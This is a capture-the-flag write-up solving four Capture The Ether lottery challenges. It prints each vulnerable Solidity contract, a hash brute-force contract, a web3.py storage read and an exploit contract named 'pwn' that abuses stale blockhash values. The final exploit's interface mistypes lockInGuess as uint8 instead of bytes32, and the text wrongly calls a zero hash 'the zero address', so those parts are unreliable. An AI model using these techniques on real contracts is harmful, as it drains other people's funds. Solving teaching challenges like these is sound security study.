Lotteries

Guess the number

Code Audit

pragma solidity ^0.4.21;

contract GuessTheNumberChallenge {
    uint8 answer = 42;

    function GuessTheNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

The answer is just 42.

Solution

In Capture The Ether interface, click "Begin Challenge" and get the instance address. In Remix, deploy the GuessTheNumberChallenge contract at the instance address:

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.21;

contract GuessTheNumberChallenge {
    uint8 answer = 42;

    function GuessTheNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

To interact with the deployed instance, feed in the instance address and click "At Address":

Call guess() with 42 as input and send over 1 ether:

Verify that the challenge is solved by calling the isComplete() getter:

Guess the secret number

Code Audit

pragma solidity ^0.4.21;

contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

    function GuessTheSecretNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }
    
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (keccak256(n) == answerHash) {
            msg.sender.transfer(2 ether);
        }
    }
}

Since guess() takes uint8 as input, we know that the range is 0 ~ 255. This is a small enough range for bruteforce attack.

Solution

Write a contract to bruteforce the hash:

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.21;

contract HashBruteForce {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

    function bruteForce() external view returns(uint8) {
        for (uint8 i = 0; i < 256; i++) {
            if (keccak256(i) == answerHash) {
                return i;
            }
        }
        return 0;
    }
}

The result is 170:

In Capture The Ether interface, click "Begin Challenge" and get the instance address. In Remix, deploy the GuessTheSecretNumberChallenge contract at the instance address:

// SPDX-License-Identifier: MIT
pragma solidity 0.4.21;

contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

    function GuessTheSecretNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }
    
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (keccak256(n) == answerHash) {
            msg.sender.transfer(2 ether);
        }
    }
}

To interact with the deployed instance, feed in the instance address and click "At Address":

Call guess() with 170 as input and send over 1 ether:

Verify that the challenge is solved by calling the getter isComplete().

Guess the random number

Code Audit

pragma solidity ^0.4.21;

contract GuessTheRandomNumberChallenge {
    uint8 answer;

    function GuessTheRandomNumberChallenge() public payable {
        require(msg.value == 1 ether);
        answer = uint8(keccak256(block.blockhash(block.number - 1), now));
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

The "random" number answer is computed from block.number. The truth is that answer is not random at all. Since uint8 answer is declared as a state variable, it is stored in blockchain storage and we can view it on Etherscan.

Solution

In Capture The Ether interface, click on the instance address and we are brought to https://ropsten.etherscan.io. Click "Internal Txns" and go into the only transaction. Click "State". Theoretically you can view the content of answer here, but this page does not give me any data.

Instead, I choose to use some web3.py magic to read the storage. To read data from blockchain, we must have access to a node on that blockchain. An easier way to do this is using Infura.

Register an account at Infura and use web3.py to query the contract storage:

from web3 import Web3

infura_url = 'https://ropsten.infura.io/v3/<your_infura_api_key>'
web3 = Web3(Web3.HTTPProvider(infura_url)) 

# Instance address
address = '0xE29B0d7EdCFb9E9912C6a3b22a9Ad1a1CC1DEB5A'
a = web3.eth.getStorageAt(address, 0)
print(int.from_bytes(a, "big"))

# 106

Compile the following challenge contract in Remix:

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.21;

contract GuessTheRandomNumberChallenge {
    uint8 answer;

    function GuessTheRandomNumberChallenge() public payable {
        require(msg.value == 1 ether);
        answer = uint8(keccak256(block.blockhash(block.number - 1), now));
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

To interact with the deployed instance, feed in the instance address and click "At Address":

Call guess() with input 106 and send over 1 ether. Verify that the challenge is solved by calling the getter isComplete().

Predict the block hash

Code Audit

pragma solidity ^0.4.21;

contract PredictTheBlockHashChallenge {
    address guesser;
    bytes32 guess;
    uint256 settlementBlockNumber;

    function PredictTheBlockHashChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function lockInGuess(bytes32 hash) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);

        guesser = msg.sender;
        guess = hash;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);

        bytes32 answer = block.blockhash(settlementBlockNumber);

        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

The essence is:

bytes32 answer = block.blockhash(settlementBlockNumber);

where:

settlementBlockNumber = block.number + 1;

Seems like we must find out block.number, but do we?

Quote from Solidity doc:

The block hashes are not available for all blocks for scalability reasons. You can only access the hashes of the most recent 256 blocks, all other values will be zero.

Here "zero" means the zero address address(0). In our case, since lockInGuess() takes bytes32, we should lock in 0x0000000000000000000000000000000000000000000000000000000000000000 as our guess. After calling lockInGuess(0x0000000000000000000000000000000000000000000000000000000000000000), we just have to wait 256 block time and then call settle().

Solution

Write an exploit contract and deploy it in Remix:

pragma solidity ^0.4.21;

interface IPredictTheBlockHashChallenge {
    function lockInGuess(uint8 n) external payable;
    function settle() external;
    function isComplete() external view returns (bool);
}

contract PredictTheBlockHashSolution {
    address private owner;
    IPredictTheBlockHashChallenge challenge;

    function PredictTheBlockHashSolution(address _challenge) public {
        owner = msg.sender;
        challenge = IPredictTheBlockHashChallenge(_challenge);
    }

    function lockInGuess(uint8 n) external payable {
        challenge.lockInGuess.value(msg.value)(n);
    }

    function pwn() external payable {
        challenge.settle();
        require(challenge.isComplete());
        owner.transfer(address(this).balance);
    }

    function () public payable {}
}

Call lockInGuess(0x0000000000000000000000000000000000000000000000000000000000000000) and then call pwn() after an hour.

Last updated